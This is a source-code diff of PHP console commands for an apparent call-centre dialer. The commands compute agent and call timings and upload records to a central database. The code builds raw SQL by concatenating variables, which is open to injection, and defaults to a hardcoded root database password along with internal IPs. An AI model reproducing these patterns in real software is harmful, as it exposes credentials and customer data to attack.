| 106 | $prets= isset($sdata[1]) ? $sdata[1] : (strtotime($aline->startdate . " " . $aline->starttime)+19600)*1000; | ||
| 107 | if(isset($sdata['states'])) | ||
| 108 | { | ||
| 109 | $previous="login"; | ||
| 110 | foreach($sdata['states'] as $fts=>$states) | ||
| 111 | { | ||
| 112 | if($states[0] != 1) | ||
| 113 | { | ||
| 114 | $rowdata[$previous] +=round(($fts-$prets)/1000,2); | ||
| 115 | |||
| 116 | $previous = (trim($states[1]) != '') ? strtolower($states[0]."-".$states[1]) : strtolower($states[0]); | ||
| 117 | $prets=$fts; | ||
| 118 | } | ||
| 119 | |||
| 120 | } | ||
| 121 | $rowdata[$previous] += round(($sdata['ts']-$prets)/1000,2); | ||
| 122 | } | ||
| 123 | } | ||
| 124 | $rowdata["login"] = $aline->durationsec; | ||
| 125 | |||
| 126 | $rowdata['not-ready']=$rowdata['paused-agentbriefing']+$rowdata['paused-autowrapup']+$rowdata['paused-downtime']+$rowdata['paused-floorannouncements']+$rowdata['paused-lunchbreak']+$rowdata['paused-notready']+$rowdata['paused-qualityfeedback']+$rowdata['paused-teammeeting']+$rowdata['paused-teabreak']+$rowdata['paused-utilitybreak']; | ||
| 127 | |||
| 128 | |||
| 129 | $key_value = ''; | ||
| 130 | foreach($rowdata AS $key=>$value) { | ||
| 131 | if($key != 1) | ||
| 132 | $key_value .= "`$key` = '$value', "; | ||
| 133 | } | ||
| 134 | |||
| 135 | $startTime=$aline->startdate." ".$aline->starttime; | ||
| 136 | $endTime=$aline->enddate." ".$aline->endtime; | ||
| 137 | |||
| 138 | $crmCalls=DB::select(DB::raw("select user_id,type,ts_Wait,ts_Call,ts_Talk,ts_Recstart,ts_Recend,ts_Dispo,ts_Close from crmcalls WHERE updated_at>='".$startTime."' and updated_at<'".$endTime."' and user_id='".$aline->user_id."'")); | ||
| 139 | |||
| 140 | $ts_Wait=0;$ts_Call=0;$ts_Talk=0;$ts_Dispo=0; | ||
| 141 | $progTs_Wait=0;$progTs_Call=0;$progTs_Talk=0;$progTs_Dispo=0; | ||
| 142 | $manTs_Wait=0;$manTs_Call=0;$manTs_Talk=0;$manTs_Dispo=0; | ||
| 143 | $inbTs_Wait=0;$inbTs_Call=0;$inbTs_Talk=0;$inbTs_Dispo=0; | ||
| 144 | $tt_prog=0;$tt_man=0;$tt_inb=0; | ||
| 145 | |||
| 146 | if($crmCalls!=null){ | ||
| 147 | foreach($crmCalls as $crmCall){ | ||
| 148 | $ts_Wait += round(($crmCall->ts_Call - $crmCall->ts_Wait)/1000,2); | ||
| 149 | $ts_Call += round(($crmCall->ts_Talk - $crmCall->ts_Call)/1000,2); | ||
| 150 | $ts_Talk += round(($crmCall->ts_Dispo - $crmCall->ts_Talk)/1000,2); | ||
| 151 | $ts_Dispo += round(($crmCall->ts_Close - $crmCall->ts_Dispo)/1000,2); | ||
| 152 | |||
| 153 | if($crmCall->type == 'Progressive') | ||
| 154 | { | ||
| 155 | $progTs_Wait += round(($crmCall->ts_Call - $crmCall->ts_Wait)/1000,2); | ||
| 156 | $progTs_Call += round(($crmCall->ts_Talk - $crmCall->ts_Call)/1000,2); | ||
| 157 | $progTs_Talk += round(($crmCall->ts_Dispo - $crmCall->ts_Talk)/1000,2); | ||
| 158 | $progTs_Dispo += round(($crmCall->ts_Close - $crmCall->ts_Dispo)/1000,2); | ||
| 159 | } | ||
| 160 | |||
| 161 | if($crmCall->type == 'Manual') | ||
| 162 | { | ||
| 163 | $manTs_Wait += round(($crmCall->ts_Call - $crmCall->ts_Wait)/1000,2); | ||
| 164 | $manTs_Call += round(($crmCall->ts_Talk - $crmCall->ts_Call)/1000,2); | ||
| 165 | $manTs_Talk += round(($crmCall->ts_Dispo - $crmCall->ts_Talk)/1000,2); | ||
| 166 | $manTs_Dispo += round(($crmCall->ts_Close - $crmCall->ts_Dispo)/1000,2); | ||
| 167 | } | ||
| 168 | |||
| 169 | if($crmCall->type == 'Inbound') | ||
| 170 | { | ||
| 171 | $inbTs_Wait += round(($crmCall->ts_Call - $crmCall->ts_Wait)/1000,2); | ||
| 172 | $inbTs_Call += round(($crmCall->ts_Talk - $crmCall->ts_Call)/1000,2); | ||
| 173 | $inbTs_Talk += round(($crmCall->ts_Dispo - $crmCall->ts_Talk)/1000,2); | ||
| 174 | $inbTs_Dispo += round(($crmCall->ts_Close - $crmCall->ts_Dispo)/1000,2); | ||
| 175 | } | ||
| 176 | } | ||
| 177 | } | ||
| 178 | |||
| 179 | $tt_prog = $progTs_Wait + $progTs_Call + $progTs_Talk + $progTs_Dispo; | ||
| 180 | $tt_man = $manTs_Wait + $manTs_Call + $manTs_Talk + $manTs_Dispo; | ||
| 181 | $tt_inb = $inbTs_Wait + $inbTs_Call + $inbTs_Talk + $inbTs_Dispo; | ||
| 182 | |||
| 183 | $prod_TOS = $ts_Wait + $ts_Call + $ts_Talk + $ts_Dispo; | ||
| 184 | |||
| 185 | $key_value .= "`tt_prog` = '$tt_prog', "; | ||
| 186 | $key_value .= "`tt_man` = '$tt_man', "; | ||
| 187 | $key_value .= "`tt_inb` = '$tt_inb', "; | ||
| 188 | |||
| 189 | $key_value .= "`ts_Wait` = '$ts_Wait', "; | ||
| 190 | $key_value .= "`ts_Call` = '$ts_Call', "; | ||
| 191 | $key_value .= "`ts_Talk` = '$ts_Talk', "; | ||
| 192 | $key_value .= "`ts_Dispo` = '$ts_Dispo', "; | ||
| 193 | $key_value .= "`progts_Wait` = '$progTs_Wait', "; | ||
| 194 | $key_value .= "`progts_Call` = '$progTs_Call', "; | ||
| 195 | $key_value .= "`progts_Talk` = '$progTs_Talk', "; | ||
| 196 | $key_value .= "`progts_Dispo` = '$progTs_Dispo', "; | ||
| 197 | $key_value .= "`mants_Wait` = '$manTs_Wait', "; | ||
| 198 | $key_value .= "`mants_Call` = '$manTs_Call', "; | ||
| 199 | $key_value .= "`mants_Talk` = '$manTs_Talk', "; | ||
| 200 | $key_value .= "`mants_Dispo` = '$manTs_Dispo', "; | ||
| 201 | $key_value .= "`incts_Wait` = '$inbTs_Wait', "; | ||
| 202 | $key_value .= "`incts_Call` = '$inbTs_Call', "; | ||
| 203 | $key_value .= "`incts_Talk` = '$inbTs_Talk', "; | ||
| 204 | $key_value .= "`incts_Dispo` = '$inbTs_Dispo', "; | ||
| 205 | $key_value .= "`prod_tos` = '$prod_TOS', "; | ||
| 206 | |||
| 207 | |||
| 208 | |||
| 209 | $key_value = substr($key_value, 0, -2); | ||
| 210 | |||
| 211 | $userlogsTable = "userlogs_".date("d_m_Y",$logdate); | ||
| 212 | DB::connection("conn")->insert(DB::raw("INSERT INTO ".$userlogsTable." SET $key_value")); | ||
| 213 | |||
| 214 | } | ||
| 215 | |||
| 216 | } | ||
| 217 | } | ||
| 218 | } | ||
| 219 | } |
application/app/Console/13jul17_Commands/bulkServerUpload.php
→
application/app/Console/181017_Commands/bulkServerUpload.php
100755 → 100644
| ... | @@ -42,7 +42,12 @@ class bulkServerUpload extends Command { | ... | @@ -42,7 +42,12 @@ class bulkServerUpload extends Command { |
| 42 | public function handle() | 42 | public function handle() |
| 43 | { | 43 | { |
| 44 | 44 | ||
| 45 | echo "\n".date('Y-m-d')."\n"; | 45 | //echo "\n".date('Y-m-d')."\n"; |
| 46 | |||
| 47 | echo "1"; | ||
| 48 | echo "\n".date('Y-m-d H:i:s')."\n"; | ||
| 49 | $server_ip=env('app_ip'); | ||
| 50 | $central_ip=env('central_ip'); | ||
| 46 | 51 | ||
| 47 | $wakka = new KHRMSLib(); | 52 | $wakka = new KHRMSLib(); |
| 48 | 53 | ||
| ... | @@ -64,7 +69,7 @@ class bulkServerUpload extends Command { | ... | @@ -64,7 +69,7 @@ class bulkServerUpload extends Command { |
| 64 | 69 | ||
| 65 | $conn = array( | 70 | $conn = array( |
| 66 | 'driver' => 'mysql', | 71 | 'driver' => 'mysql', |
| 67 | 'host' => '10.3.177.14', | 72 | 'host' => $central_ip, |
| 68 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), | 73 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), |
| 69 | 'username' => env('DB_USERNAME', 'root'), | 74 | 'username' => env('DB_USERNAME', 'root'), |
| 70 | 'password' => env('DB_PASSWORD', 'yb9738z'), | 75 | 'password' => env('DB_PASSWORD', 'yb9738z'), |
| ... | @@ -79,10 +84,11 @@ class bulkServerUpload extends Command { | ... | @@ -79,10 +84,11 @@ class bulkServerUpload extends Command { |
| 79 | 84 | ||
| 80 | DB::connection("conn")->getDatabaseName(); | 85 | DB::connection("conn")->getDatabaseName(); |
| 81 | 86 | ||
| 82 | $excelarray = DB::connection("conn")->select(DB::raw("select * from bz_record_upload_uat where SERVER_IP='10.3.179.121' order by auto_id asc limit 0,20000")); | 87 | $serverclist=DB::connection("conn")->select(DB::raw("select location from server_details where server_ip='$server_ip'")); |
| 83 | 88 | $location=$serverclist[0]->location; | |
| 84 | $server_ip='10.3.179.121'; | 89 | echo $central_ip; |
| 85 | $location='Mumbai'; | 90 | echo $location; |
| 91 | $excelarray = DB::connection("conn")->select(DB::raw("select * from bz_record_upload_uat where SERVER_IP='$server_ip' order by auto_id asc limit 0,20000")); | ||
| 86 | $conn=''; | 92 | $conn=''; |
| 87 | 93 | ||
| 88 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); | 94 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); |
| ... | @@ -99,7 +105,7 @@ class bulkServerUpload extends Command { | ... | @@ -99,7 +105,7 @@ class bulkServerUpload extends Command { |
| 99 | $flag = 0; | 105 | $flag = 0; |
| 100 | $editflag=0; | 106 | $editflag=0; |
| 101 | 107 | ||
| 102 | for($i=0;$i<=$highestrow;$i++) | 108 | for($i=0;$i<$highestrow;$i++) |
| 103 | { | 109 | { |
| 104 | if($excelarray[$i]["id"]!="") | 110 | if($excelarray[$i]["id"]!="") |
| 105 | { | 111 | { |
| ... | @@ -108,7 +114,6 @@ class bulkServerUpload extends Command { | ... | @@ -108,7 +114,6 @@ class bulkServerUpload extends Command { |
| 108 | $excelarray[$i]["id"]=$wakka->Query("insert into","","records",array('created'=>date('Y-m-d H:i:s'))); | 114 | $excelarray[$i]["id"]=$wakka->Query("insert into","","records",array('created'=>date('Y-m-d H:i:s'))); |
| 109 | } | 115 | } |
| 110 | else $excelarray[$i]["id"]=intval($excelarray[$i]["id"]); | 116 | else $excelarray[$i]["id"]=intval($excelarray[$i]["id"]); |
| 111 | |||
| 112 | if($wakka->getCount("records","id='".$excelarray[$i]["id"]."'")==1) | 117 | if($wakka->getCount("records","id='".$excelarray[$i]["id"]."'")==1) |
| 113 | { | 118 | { |
| 114 | $empdata=$wakka->getPerson($excelarray[$i]["id"]); | 119 | $empdata=$wakka->getPerson($excelarray[$i]["id"]); |
| ... | @@ -164,9 +169,28 @@ class bulkServerUpload extends Command { | ... | @@ -164,9 +169,28 @@ class bulkServerUpload extends Command { |
| 164 | $successArr[] = $excelarray[$i]; | 169 | $successArr[] = $excelarray[$i]; |
| 165 | 170 | ||
| 166 | } | 171 | } |
| 172 | else | ||
| 173 | { | ||
| 174 | $reason = ""; | ||
| 175 | |||
| 176 | $reason .= "Record ID is not on local server,"; | ||
| 177 | |||
| 178 | $excelarray[$i]['server_ip'] =$server_ip; | ||
| 179 | $excelarray[$i]['location'] =$location; | ||
| 180 | |||
| 181 | if($excelarray[$i]["clientcode"]!="") | ||
| 182 | $excelarray[$i]['cust_id'] =$excelarray[$i]["clientcode"]; | ||
| 183 | $excelarray[$i]['record_id'] = $excelarray[$i]["id"]; | ||
| 184 | |||
| 185 | $excelarray[$i]['Reason'] = $reason; | ||
| 186 | |||
| 187 | $failureArr[] = $excelarray[$i]; | ||
| 188 | |||
| 189 | } | ||
| 167 | } | 190 | } |
| 168 | else | 191 | else |
| 169 | { | 192 | { |
| 193 | |||
| 170 | $reason = ""; | 194 | $reason = ""; |
| 171 | 195 | ||
| 172 | if($excelarray[$i]["id"]=="") | 196 | if($excelarray[$i]["id"]=="") |
| ... | @@ -181,10 +205,10 @@ class bulkServerUpload extends Command { | ... | @@ -181,10 +205,10 @@ class bulkServerUpload extends Command { |
| 181 | $excelarray[$i]['Reason'] = $reason; | 205 | $excelarray[$i]['Reason'] = $reason; |
| 182 | 206 | ||
| 183 | $failureArr[] = $excelarray[$i]; | 207 | $failureArr[] = $excelarray[$i]; |
| 184 | } | ||
| 185 | 208 | ||
| 186 | } | 209 | } |
| 187 | 210 | ||
| 211 | } | ||
| 188 | if(!empty($successArr)){ | 212 | if(!empty($successArr)){ |
| 189 | foreach($successArr as $succes) | 213 | foreach($successArr as $succes) |
| 190 | { | 214 | { |
| ... | @@ -201,7 +225,6 @@ class bulkServerUpload extends Command { | ... | @@ -201,7 +225,6 @@ class bulkServerUpload extends Command { |
| 201 | DB::connection("conn")->insert(DB::raw("insert into bz_record_upload_uat_success set $setSuccess")); | 225 | DB::connection("conn")->insert(DB::raw("insert into bz_record_upload_uat_success set $setSuccess")); |
| 202 | } | 226 | } |
| 203 | } | 227 | } |
| 204 | |||
| 205 | if(!empty($failureArr)){ | 228 | if(!empty($failureArr)){ |
| 206 | foreach($failureArr as $failur) | 229 | foreach($failureArr as $failur) |
| 207 | { | 230 | { |
| ... | @@ -210,6 +233,7 @@ class bulkServerUpload extends Command { | ... | @@ -210,6 +233,7 @@ class bulkServerUpload extends Command { |
| 210 | $setFailure[] = "server_ip='$server_ip'"; | 233 | $setFailure[] = "server_ip='$server_ip'"; |
| 211 | $setFailure[] = "location='$location'"; | 234 | $setFailure[] = "location='$location'"; |
| 212 | $setFailure[] = "cust_id='".$failur['clientcode']."'"; | 235 | $setFailure[] = "cust_id='".$failur['clientcode']."'"; |
| 236 | $setFailure[] = "record_id='".$failur['record_id']."'"; | ||
| 213 | $setFailure[] = "reason='".$failur['Reason']."'"; | 237 | $setFailure[] = "reason='".$failur['Reason']."'"; |
| 214 | 238 | ||
| 215 | $setFailure = implode(",",$setFailure); | 239 | $setFailure = implode(",",$setFailure); |
| ... | @@ -217,7 +241,6 @@ class bulkServerUpload extends Command { | ... | @@ -217,7 +241,6 @@ class bulkServerUpload extends Command { |
| 217 | DB::connection("conn")->insert(DB::raw("insert into bz_record_upload_uat_failure set $setFailure")); | 241 | DB::connection("conn")->insert(DB::raw("insert into bz_record_upload_uat_failure set $setFailure")); |
| 218 | } | 242 | } |
| 219 | } | 243 | } |
| 220 | //DB::connection("conn")->delete(DB::raw("DELETE FROM `bz_record_upload_uat` where SERVER_IP='10.3.179.121'")); | ||
| 221 | 244 | ||
| 222 | DB::connection("conn")->disconnect(); | 245 | DB::connection("conn")->disconnect(); |
| 223 | } | 246 | } | ... | ... |
application/app/Console/13jul17_Commands/bulkServerUpload_1.php
→
application/app/Console/181017_Commands/bulkServerUpload_1.php
100755 → 100644
| ... | @@ -42,7 +42,13 @@ class bulkServerUpload_1 extends Command { | ... | @@ -42,7 +42,13 @@ class bulkServerUpload_1 extends Command { |
| 42 | public function handle() | 42 | public function handle() |
| 43 | { | 43 | { |
| 44 | 44 | ||
| 45 | echo "\n".date('Y-m-d')."\n"; | 45 | //echo "\n".date('Y-m-d')."\n"; |
| 46 | |||
| 47 | echo "2"; | ||
| 48 | echo "\n".date('Y-m-d H:i:s')."\n"; | ||
| 49 | $server_ip=env('app_ip'); | ||
| 50 | $central_ip=env('central_ip'); | ||
| 51 | |||
| 46 | 52 | ||
| 47 | $wakka = new KHRMSLib(); | 53 | $wakka = new KHRMSLib(); |
| 48 | 54 | ||
| ... | @@ -64,7 +70,7 @@ class bulkServerUpload_1 extends Command { | ... | @@ -64,7 +70,7 @@ class bulkServerUpload_1 extends Command { |
| 64 | 70 | ||
| 65 | $conn = array( | 71 | $conn = array( |
| 66 | 'driver' => 'mysql', | 72 | 'driver' => 'mysql', |
| 67 | 'host' => '10.3.177.14', | 73 | 'host' => $central_ip, |
| 68 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), | 74 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), |
| 69 | 'username' => env('DB_USERNAME', 'root'), | 75 | 'username' => env('DB_USERNAME', 'root'), |
| 70 | 'password' => env('DB_PASSWORD', 'yb9738z'), | 76 | 'password' => env('DB_PASSWORD', 'yb9738z'), |
| ... | @@ -79,10 +85,12 @@ class bulkServerUpload_1 extends Command { | ... | @@ -79,10 +85,12 @@ class bulkServerUpload_1 extends Command { |
| 79 | 85 | ||
| 80 | DB::connection("conn")->getDatabaseName(); | 86 | DB::connection("conn")->getDatabaseName(); |
| 81 | 87 | ||
| 82 | $excelarray = DB::connection("conn")->select(DB::raw("select * from bz_record_upload_uat where SERVER_IP='10.3.179.121' order by auto_id asc limit 20001,40000")); | 88 | $serverclist=DB::connection("conn")->select(DB::raw("select location from server_details where server_ip='$server_ip'")); |
| 89 | $location=$serverclist[0]->location; | ||
| 90 | |||
| 91 | |||
| 92 | $excelarray = DB::connection("conn")->select(DB::raw("select * from bz_record_upload_uat where SERVER_IP='$server_ip' order by auto_id asc limit 20001,40000")); | ||
| 83 | 93 | ||
| 84 | $server_ip='10.3.179.121'; | ||
| 85 | $location='Mumbai'; | ||
| 86 | $conn=''; | 94 | $conn=''; |
| 87 | 95 | ||
| 88 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); | 96 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); | ... | ... |
application/app/Console/13jul17_Commands/bulkServerUpload_5.php
→
application/app/Console/181017_Commands/bulkServerUpload_2.php
100755 → 100644
| ... | @@ -18,21 +18,21 @@ use Input; | ... | @@ -18,21 +18,21 @@ use Input; |
| 18 | 18 | ||
| 19 | use Illuminate\Database\Schema\Blueprint; | 19 | use Illuminate\Database\Schema\Blueprint; |
| 20 | 20 | ||
| 21 | class bulkServerUpload_5 extends Command { | 21 | class bulkServerUpload_2 extends Command { |
| 22 | 22 | ||
| 23 | /** | 23 | /** |
| 24 | * The console command name. | 24 | * The console command name. |
| 25 | * | 25 | * |
| 26 | * @var string | 26 | * @var string |
| 27 | */ | 27 | */ |
| 28 | protected $signature = 'bulkServerUpload_5'; | 28 | protected $signature = 'bulkServerUpload_2'; |
| 29 | 29 | ||
| 30 | /** | 30 | /** |
| 31 | * The console command description. | 31 | * The console command description. |
| 32 | * | 32 | * |
| 33 | * @var string | 33 | * @var string |
| 34 | */ | 34 | */ |
| 35 | protected $description = 'bulkServerUpload_5'; | 35 | protected $description = 'bulkServerUpload_2'; |
| 36 | 36 | ||
| 37 | /** | 37 | /** |
| 38 | * Execute the console command. | 38 | * Execute the console command. |
| ... | @@ -42,7 +42,13 @@ class bulkServerUpload_5 extends Command { | ... | @@ -42,7 +42,13 @@ class bulkServerUpload_5 extends Command { |
| 42 | public function handle() | 42 | public function handle() |
| 43 | { | 43 | { |
| 44 | 44 | ||
| 45 | echo "\n".date('Y-m-d')."\n"; | 45 | //echo "\n".date('Y-m-d')."\n"; |
| 46 | |||
| 47 | echo "3"; | ||
| 48 | echo "\n".date('Y-m-d H:i:s')."\n"; | ||
| 49 | $server_ip=env('app_ip'); | ||
| 50 | $central_ip=env('central_ip'); | ||
| 51 | |||
| 46 | 52 | ||
| 47 | $wakka = new KHRMSLib(); | 53 | $wakka = new KHRMSLib(); |
| 48 | 54 | ||
| ... | @@ -64,7 +70,7 @@ class bulkServerUpload_5 extends Command { | ... | @@ -64,7 +70,7 @@ class bulkServerUpload_5 extends Command { |
| 64 | 70 | ||
| 65 | $conn = array( | 71 | $conn = array( |
| 66 | 'driver' => 'mysql', | 72 | 'driver' => 'mysql', |
| 67 | 'host' => '10.3.177.14', | 73 | 'host' => $central_ip, |
| 68 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), | 74 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), |
| 69 | 'username' => env('DB_USERNAME', 'root'), | 75 | 'username' => env('DB_USERNAME', 'root'), |
| 70 | 'password' => env('DB_PASSWORD', 'yb9738z'), | 76 | 'password' => env('DB_PASSWORD', 'yb9738z'), |
| ... | @@ -79,10 +85,12 @@ class bulkServerUpload_5 extends Command { | ... | @@ -79,10 +85,12 @@ class bulkServerUpload_5 extends Command { |
| 79 | 85 | ||
| 80 | DB::connection("conn")->getDatabaseName(); | 86 | DB::connection("conn")->getDatabaseName(); |
| 81 | 87 | ||
| 82 | $excelarray = DB::connection("conn")->select(DB::raw("select * from bz_record_upload_uat where SERVER_IP='10.3.179.121' order by auto_id asc limit 100001,120000")); | 88 | $serverclist=DB::connection("conn")->select(DB::raw("select location from server_details where server_ip='$server_ip'")); |
| 89 | $location=$serverclist[0]->location; | ||
| 90 | |||
| 91 | |||
| 92 | $excelarray = DB::connection("conn")->select(DB::raw("select * from bz_record_upload_uat where SERVER_IP='$server_ip' order by auto_id asc limit 40001,60000")); | ||
| 83 | 93 | ||
| 84 | $server_ip='10.3.179.121'; | ||
| 85 | $location='Mumbai'; | ||
| 86 | $conn=''; | 94 | $conn=''; |
| 87 | 95 | ||
| 88 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); | 96 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); |
| ... | @@ -99,7 +107,7 @@ class bulkServerUpload_5 extends Command { | ... | @@ -99,7 +107,7 @@ class bulkServerUpload_5 extends Command { |
| 99 | $flag = 0; | 107 | $flag = 0; |
| 100 | $editflag=0; | 108 | $editflag=0; |
| 101 | 109 | ||
| 102 | for($i=0;$i<=$highestrow;$i++) | 110 | for($i=0;$i<$highestrow;$i++) |
| 103 | { | 111 | { |
| 104 | if($excelarray[$i]["id"]!="") | 112 | if($excelarray[$i]["id"]!="") |
| 105 | { | 113 | { |
| ... | @@ -108,7 +116,6 @@ class bulkServerUpload_5 extends Command { | ... | @@ -108,7 +116,6 @@ class bulkServerUpload_5 extends Command { |
| 108 | $excelarray[$i]["id"]=$wakka->Query("insert into","","records",array('created'=>date('Y-m-d H:i:s'))); | 116 | $excelarray[$i]["id"]=$wakka->Query("insert into","","records",array('created'=>date('Y-m-d H:i:s'))); |
| 109 | } | 117 | } |
| 110 | else $excelarray[$i]["id"]=intval($excelarray[$i]["id"]); | 118 | else $excelarray[$i]["id"]=intval($excelarray[$i]["id"]); |
| 111 | |||
| 112 | if($wakka->getCount("records","id='".$excelarray[$i]["id"]."'")==1) | 119 | if($wakka->getCount("records","id='".$excelarray[$i]["id"]."'")==1) |
| 113 | { | 120 | { |
| 114 | $empdata=$wakka->getPerson($excelarray[$i]["id"]); | 121 | $empdata=$wakka->getPerson($excelarray[$i]["id"]); |
| ... | @@ -164,9 +171,28 @@ class bulkServerUpload_5 extends Command { | ... | @@ -164,9 +171,28 @@ class bulkServerUpload_5 extends Command { |
| 164 | $successArr[] = $excelarray[$i]; | 171 | $successArr[] = $excelarray[$i]; |
| 165 | 172 | ||
| 166 | } | 173 | } |
| 174 | else | ||
| 175 | { | ||
| 176 | $reason = ""; | ||
| 177 | |||
| 178 | $reason .= "Record ID is not on local server,"; | ||
| 179 | |||
| 180 | $excelarray[$i]['server_ip'] =$server_ip; | ||
| 181 | $excelarray[$i]['location'] =$location; | ||
| 182 | |||
| 183 | if($excelarray[$i]["clientcode"]!="") | ||
| 184 | $excelarray[$i]['cust_id'] =$excelarray[$i]["clientcode"]; | ||
| 185 | $excelarray[$i]['record_id'] = $excelarray[$i]["id"]; | ||
| 186 | |||
| 187 | $excelarray[$i]['Reason'] = $reason; | ||
| 188 | |||
| 189 | $failureArr[] = $excelarray[$i]; | ||
| 190 | |||
| 191 | } | ||
| 167 | } | 192 | } |
| 168 | else | 193 | else |
| 169 | { | 194 | { |
| 195 | |||
| 170 | $reason = ""; | 196 | $reason = ""; |
| 171 | 197 | ||
| 172 | if($excelarray[$i]["id"]=="") | 198 | if($excelarray[$i]["id"]=="") |
| ... | @@ -181,10 +207,10 @@ class bulkServerUpload_5 extends Command { | ... | @@ -181,10 +207,10 @@ class bulkServerUpload_5 extends Command { |
| 181 | $excelarray[$i]['Reason'] = $reason; | 207 | $excelarray[$i]['Reason'] = $reason; |
| 182 | 208 | ||
| 183 | $failureArr[] = $excelarray[$i]; | 209 | $failureArr[] = $excelarray[$i]; |
| 184 | } | ||
| 185 | 210 | ||
| 186 | } | 211 | } |
| 187 | 212 | ||
| 213 | } | ||
| 188 | if(!empty($successArr)){ | 214 | if(!empty($successArr)){ |
| 189 | foreach($successArr as $succes) | 215 | foreach($successArr as $succes) |
| 190 | { | 216 | { |
| ... | @@ -201,7 +227,6 @@ class bulkServerUpload_5 extends Command { | ... | @@ -201,7 +227,6 @@ class bulkServerUpload_5 extends Command { |
| 201 | DB::connection("conn")->insert(DB::raw("insert into bz_record_upload_uat_success set $setSuccess")); | 227 | DB::connection("conn")->insert(DB::raw("insert into bz_record_upload_uat_success set $setSuccess")); |
| 202 | } | 228 | } |
| 203 | } | 229 | } |
| 204 | |||
| 205 | if(!empty($failureArr)){ | 230 | if(!empty($failureArr)){ |
| 206 | foreach($failureArr as $failur) | 231 | foreach($failureArr as $failur) |
| 207 | { | 232 | { |
| ... | @@ -210,6 +235,7 @@ class bulkServerUpload_5 extends Command { | ... | @@ -210,6 +235,7 @@ class bulkServerUpload_5 extends Command { |
| 210 | $setFailure[] = "server_ip='$server_ip'"; | 235 | $setFailure[] = "server_ip='$server_ip'"; |
| 211 | $setFailure[] = "location='$location'"; | 236 | $setFailure[] = "location='$location'"; |
| 212 | $setFailure[] = "cust_id='".$failur['clientcode']."'"; | 237 | $setFailure[] = "cust_id='".$failur['clientcode']."'"; |
| 238 | $setFailure[] = "record_id='".$failur['record_id']."'"; | ||
| 213 | $setFailure[] = "reason='".$failur['Reason']."'"; | 239 | $setFailure[] = "reason='".$failur['Reason']."'"; |
| 214 | 240 | ||
| 215 | $setFailure = implode(",",$setFailure); | 241 | $setFailure = implode(",",$setFailure); |
| ... | @@ -217,7 +243,6 @@ class bulkServerUpload_5 extends Command { | ... | @@ -217,7 +243,6 @@ class bulkServerUpload_5 extends Command { |
| 217 | DB::connection("conn")->insert(DB::raw("insert into bz_record_upload_uat_failure set $setFailure")); | 243 | DB::connection("conn")->insert(DB::raw("insert into bz_record_upload_uat_failure set $setFailure")); |
| 218 | } | 244 | } |
| 219 | } | 245 | } |
| 220 | // DB::connection("conn")->delete(DB::raw("DELETE FROM `bz_record_upload_uat` where SERVER_IP='10.3.179.121'")); | ||
| 221 | 246 | ||
| 222 | DB::connection("conn")->disconnect(); | 247 | DB::connection("conn")->disconnect(); |
| 223 | } | 248 | } | ... | ... |
application/app/Console/13jul17_Commands/bulkServerUpload_3.php
→
application/app/Console/181017_Commands/bulkServerUpload_3.php
100755 → 100644
| ... | @@ -42,7 +42,13 @@ class bulkServerUpload_3 extends Command { | ... | @@ -42,7 +42,13 @@ class bulkServerUpload_3 extends Command { |
| 42 | public function handle() | 42 | public function handle() |
| 43 | { | 43 | { |
| 44 | 44 | ||
| 45 | echo "\n".date('Y-m-d')."\n"; | 45 | //echo "\n".date('Y-m-d')."\n"; |
| 46 | |||
| 47 | echo "4"; | ||
| 48 | echo "\n".date('Y-m-d H:i:s')."\n"; | ||
| 49 | $server_ip=env('app_ip'); | ||
| 50 | $central_ip=env('central_ip'); | ||
| 51 | |||
| 46 | 52 | ||
| 47 | $wakka = new KHRMSLib(); | 53 | $wakka = new KHRMSLib(); |
| 48 | 54 | ||
| ... | @@ -64,7 +70,7 @@ class bulkServerUpload_3 extends Command { | ... | @@ -64,7 +70,7 @@ class bulkServerUpload_3 extends Command { |
| 64 | 70 | ||
| 65 | $conn = array( | 71 | $conn = array( |
| 66 | 'driver' => 'mysql', | 72 | 'driver' => 'mysql', |
| 67 | 'host' => '10.3.177.14', | 73 | 'host' => $central_ip, |
| 68 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), | 74 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), |
| 69 | 'username' => env('DB_USERNAME', 'root'), | 75 | 'username' => env('DB_USERNAME', 'root'), |
| 70 | 'password' => env('DB_PASSWORD', 'yb9738z'), | 76 | 'password' => env('DB_PASSWORD', 'yb9738z'), |
| ... | @@ -79,10 +85,12 @@ class bulkServerUpload_3 extends Command { | ... | @@ -79,10 +85,12 @@ class bulkServerUpload_3 extends Command { |
| 79 | 85 | ||
| 80 | DB::connection("conn")->getDatabaseName(); | 86 | DB::connection("conn")->getDatabaseName(); |
| 81 | 87 | ||
| 82 | $excelarray = DB::connection("conn")->select(DB::raw("select * from bz_record_upload_uat where SERVER_IP='10.3.179.121' order by auto_id asc limit 60001,80000")); | 88 | $serverclist=DB::connection("conn")->select(DB::raw("select location from server_details where server_ip='$server_ip'")); |
| 89 | $location=$serverclist[0]->location; | ||
| 90 | |||
| 91 | |||
| 92 | $excelarray = DB::connection("conn")->select(DB::raw("select * from bz_record_upload_uat where SERVER_IP='$server_ip' order by auto_id asc limit 60001,80000")); | ||
| 83 | 93 | ||
| 84 | $server_ip='10.3.179.121'; | ||
| 85 | $location='Mumbai'; | ||
| 86 | $conn=''; | 94 | $conn=''; |
| 87 | 95 | ||
| 88 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); | 96 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); |
| ... | @@ -99,7 +107,7 @@ class bulkServerUpload_3 extends Command { | ... | @@ -99,7 +107,7 @@ class bulkServerUpload_3 extends Command { |
| 99 | $flag = 0; | 107 | $flag = 0; |
| 100 | $editflag=0; | 108 | $editflag=0; |
| 101 | 109 | ||
| 102 | for($i=0;$i<=$highestrow;$i++) | 110 | for($i=0;$i<$highestrow;$i++) |
| 103 | { | 111 | { |
| 104 | if($excelarray[$i]["id"]!="") | 112 | if($excelarray[$i]["id"]!="") |
| 105 | { | 113 | { |
